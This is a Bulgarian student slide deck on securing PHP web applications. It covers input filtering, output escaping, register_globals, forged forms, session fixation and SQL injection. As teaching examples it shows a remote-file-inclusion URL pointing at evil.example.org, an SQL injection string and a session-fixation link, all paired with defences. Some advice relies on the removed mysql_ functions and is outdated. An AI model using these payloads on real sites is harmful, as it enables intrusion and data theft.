Уроците от работата ми по WordPress.com - Веселин Николов
Php sec
1. Защита при създаване на phpприложения в Интернет
Изготвил: Пламен Христов
фак.№ 116556
2. 2 златни правила
1. Филтриране на външните данни
•
•
$_POST, $_COOKIE, др.
$_SERVER
1. Ескейпване на съдържанието от
•
•
Клиентския браузър
MYSQL базата данни
4. Филтриране
●
●
Процес при който проверявате данните за
да гарантирате тяхната валидност.
Използвайте подход при който всички
данни са невалидно, освен ако не е
посочено изрично.
5. Филтриране: пример
$clean = array();
if (ctype_alnum($_POST['username']))
{
$clean['username'] = $_POST['username'];
}
6. Filter example
$clean = array();
$clean = array();
if (ctype_alnum($_POST['username']))
{
$clean['username'] = $_POST['username'];
}
Инициализация на масив
за запазване на
филтрираните данни.
7. Filter example
$clean = array();
if (ctype_alnum($_POST['username']))
if (ctype_alnum($_POST['username']))
{
$clean['username'] = $_POST['username'];
}
Проверка на username, че
съдържа само букви и
цифри.
8. Filter example
$clean = array();
if (ctype_alnum($_POST['username']))
{
$clean['username'] = $_POST['username'];
$clean['username'] = $_POST['username'];
}
Ако е вярно, запис в
масива.
9. Ескейпване на изходните данни
●
●
●
Процес при който форматирате специалните
символи на отдалечения сървър
Освен ако не изпращате данни на някакво
специално място, обикновено има готова
функция..
Два от най-често използваните формати за
изходни данни са xhtml (използвайте
htmlentities()) или MYSQL база данни
(използвайте
mysql_real_escape_string()).
10. Пример за ескейпване
$xhtml = array();
$xhtml['username'] = htmlentities($clean['username'],
ENT_QUOTES,
'UTF-8');
echo "<p>Welcome back, {$xhtml['username']}.</p>";
11. Escape example
$xhtml = array();
$xhtml = array();
$xhtml['username'] = htmlentities($clean['username'],
ENT_QUOTES,
'UTF-8');
echo "<p>Welcome back, {$xhtml['username']}.</p>";
Инициализация на
масив за запазване
на ескейпнатите
данни.
12. Escape example
$xhtml = array();
$xhtml['username'] = htmlentities($clean['username'],
$xhtml['username'] = htmlentities($clean['username'],
ENT_QUOTES,
ENT_QUOTES,
'UTF-8');
'UTF-8');
echo "<p>Welcome back, {$xhtml['username']}.</p>";
Ескейпване на
филтрираното
потребителско име и
запазване в масива.
13. Escape example
$xhtml = array();
$xhtml['username'] = htmlentities($clean['username'],
ENT_QUOTES,
'UTF-8');
echo "<p>Welcome back, {$xhtml['username']}.</p>";
echo "<p>Welcome back, {$xhtml['username']}.</p>";
Изпращане на
данните към
браузъра.
14. Това е!
●
●
Ако спазвате тези правила ще можете да
създавате код, който е сигурно.
Ако не ти спазвате, бихте могли да станете
жертва на..
Следващо: Често срещани видове атаки
15. Глобални променливи (Register
globals)
●
Суперглобални променливи индекси на
масиви са достъпни като променливи..
например:
$_POST[‘name’] е достъпно като $name
$_COOKIE[‘age’] е достъпно като $age
●
Повечето PHP конфигурация имат тази
опция изключения, но трябва да сте
сигурни.
16. Глобални променливи: пример
<?php include "$path/script.php"; ?>
Ако забравите да инициализирате $path и имате
register_globals включено, страницата може да бъде
достъпена чрез ?path=http%3A%2F
%2Fevil.example.org%2F%3F и да изпълни следното:
include 'http://evil.example.org/?/script.php';
т.е. злонамерен потребител може да добави свой
скрипт по всяко време..
17. Глобални променливи: Решение
●
●
Имайте предвид, че с тази опция, всеки
потребилен може да инжектира
променлива от каквото и да е име във
вашите скриптове.
ВИНАГИ ИНИЦИАЛИЗИРАЙТЕ
СОБСТВЕНИТЕ СИ ПРОМЕНЛИВИ!
18. Фалшифицирани форми
●
●
Имайте предвид, че всеки може да създаде
собствени форми и да ги изпрати към
вашите PHP скриптове.
Например: използването на select,
checkbox или радио бутон не е гаранция,
че данните са някои от вашите опции.
19. Фалшифицирани форми: Пример
Форма написана от уеб разработчик:
<form action="/process.php" method="POST">
<select name="colour">
<option value="red">red</option>
<option value="green">green</option>
<option value="blue">blue</option>
</select>
<input type="submit" />
</form>
Потребителят създава собствена форма, която да изпрати на
същия адрес:
<form action="http://example.org/process.php" method="POST">
<input type="text" name="colour" />
<input type="submit" />
</form>
20. Фалшифицирани форми:
Решение
●
●
Потребителите могат да публикуват
каквото си пожелаят до вашите PHP
скриптове, стига то да отговаря на вашите
правила.
Бъдете сигурно, че всичките правила са
създадени от външен php филтър, не
разчитайте на формите, те могат да бъдат
променени!
21. Фиксиране на сесии
●
●
Сесийните атаки почти винаги
представляват следното – злонамереният
потребител се опитва да се представи за
някой друг.
Критическата точка е сесийният
идентификатор, фиксирането на сесии
представлява кражба на този
идентификатор.
22. Фиксиране на сесии
1. Злонамереният потребител създава
страница, която съдържа връзки към вашия
сайт със сесиен идентификатор.
… <a href=“http://example.com/index.php?PHPSESSID=1234” …
23. Фиксиране на сесии
2. Някой клиент следва една от тези връзки и
е пренасочен към вашия сайт.
3. Злонамереният потребител вече знае
сесийния идентификатор (той е сложил!) и
може да го използва в собствения си
браузър.
4. Злонамереният потребител вече се е
логнал, като един от вашите потребители.
24. Фиксиране на сесии: Решение
session_regenerate_id()
PHP има функция, която върши цялата
работа вместо вас, регенерира сесийния
идентификатор.
25. SQL инжекции
●
Целта на SQL инжекциите е да въведат
случайни данни, често заявка към базата
данни, които евентуално да бъдат
изпълнени от базата.
26. SQL инжекции: пример
●
Примерна заявка, която се изпълнява в php
върху MySQL база данни и email текста се
въвежда от потребителя:
“SELECT * FROM members
WHERE email = ‘{$_POST[‘email’]}’”
27. SQL инжекции: Пример
Използването на $_POST[..] в
заявката е индикация за несигурност.
●
Например какво би станало, ако
потребителя въведе следния email:
dummy’ OR ‘x’=‘x
●
Заявката вече има следната форма,
SELECT * FROM members
WHERE email = ‘dummy’ OR ‘x’=‘x’
..това би върнато данните на всички
потребители!
●
28. SQL инжекции: Решение
●
●
●
Филтриране на входните данни.
Цитиране на данните. Ако вашата база
данни го позволява (MySQL го прави),
сложете единични кавички около всички
стойност в SQL заявките.
Ескейпване на данните. За MySQL,
използвайте функцията
mysql_real_escape_string()